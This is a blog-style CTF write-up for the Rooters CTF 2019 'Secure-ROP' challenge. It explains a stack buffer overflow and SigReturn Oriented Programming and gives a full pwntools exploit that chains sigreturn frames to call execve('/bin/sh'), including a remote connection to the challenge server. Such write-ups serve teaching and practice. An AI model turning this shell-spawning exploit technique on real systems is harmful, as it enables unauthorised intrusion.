Hello i am arsalan. information system student, i blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

Posts   About

SigReturn Oriented Programming

this article explains about SigReturn Oriented Programming.

#Secure-ROP

this is a writeup for Secure-ROP Rooters ctf 2019. we are given a 64-bit elf binary the binary have 2 function _start:

void __noreturn start()
{
  signed __int64 v0; // rax

  sub_401000();
  v0 = sys_exit(0);
  JUMPOUT(0x401048LL);
}

and sub_401000():

signed __int64 sub_401000()
{
  signed __int64 v0; // rax
  char buf[128]; // [rsp+0h] [rbp-80h]

  v0 = sys_write(1u, ::buf, 0x2AuLL);
  return sys_read(0, buf, 0x400uLL);
}

it have buffer overflow vulnerability, size of buf is 128 bytes but the binary can read 0x400 or 1024 bytes,

the offset to overwrite rip is 136 bytes , firstly we have to find some gadget i will use ropper to find all the gadget we need

      0x0000000000401032: pop rax; syscall;
      0x0000000000401033: syscall; leave; ret;
      0x000000000040101f: syscall;

in order to triggering srop we have to set rax to 0xf , first part of our exploit will look like this

p = "A" * off
p += p64(pop_rax_syscall)
p += p64(0xf) # sys_rt_sigreturn

why 0xf ? because 0xf is linux syscall for sys_rt_sigreturn. to make it easy i use pwntools and create the payload using SigreturnFrame to set some register value

frame = SigreturnFrame()
frame.rax = 0 # read syscall
frame.rsp = data + 8
frame.rbp = data + 0x60
frame.rdi = 0 # read from stdin
frame.rsi = data # read into the read write segment
frame.rdx = 0x400 # read 0x400 bytes
frame.rip = syscall_leave_ret # jmp to the syscall; leave; ret gadget after syscall
p += str(frame)

that will make another read with 0x400 size and will be stored a rw segment, i use .data segment 0x0000000000402000 now lets send “/bin/sh” to .data and the offset to the new buffer is different from the first one , so we have to figure out the offset first. and use another srop to call sys_execve

p = '/bin/sh\x00'
p += "A" * 96 # Overwrite until return address in our "emulated" stack
p += p64(pop_rax_syscall)
p += p64(0xf)

after we sent /bin/sh to our new buffer. now we have to do srop to call sys_execve this is the last part of our exploit

frame = SigreturnFrame()
frame.rax = 59  # sys_execve
frame.rdi = data # our .data segment
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

this is our final exploit :

#!/usr/bin/env python2
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("vuln")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    #attach(r)
    off = 136

    # gadget
    pop_rax_syscall = 0x0000000000401032
    pop_rax_syscall_leave_ret = 0x0000000000401032
    syscall = 0x000000000040101f
    syscall_leave_ret = 0x0000000000401033

    # segment
    data = 0x0000000000402000

    p = "A" * off
    p += p64(pop_rax_syscall)
    p += p64(0xf) # sys_rt_sigreturn

    # sigreturn frame
    frame = SigreturnFrame()
    frame.rax = 0 # read syscall
    frame.rsp = data + 8
    frame.rbp = data + 0x60
    frame.rdi = 0 # read from stdin
    frame.rsi = data # read into the read write segment
    frame.rdx = 0x400 # read 0x400 bytes
    frame.rip = syscall_leave_ret # jmp to the syscall; leave; ret gadget after syscall

    p += str(frame)

    r.sendline(p)

    p = '/bin/sh\x00'
    p += "A" * 96 # Overwrite until return address in our "emulated" stack
    p += p64(pop_rax_syscall)
    p += p64(0xf)

    frame = SigreturnFrame()
    frame.rax = 59
    frame.rdi = data
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall

    p += str(frame)

    r.sendline(p)

    r.interactive()


if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("146.148.108.204", 4444)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)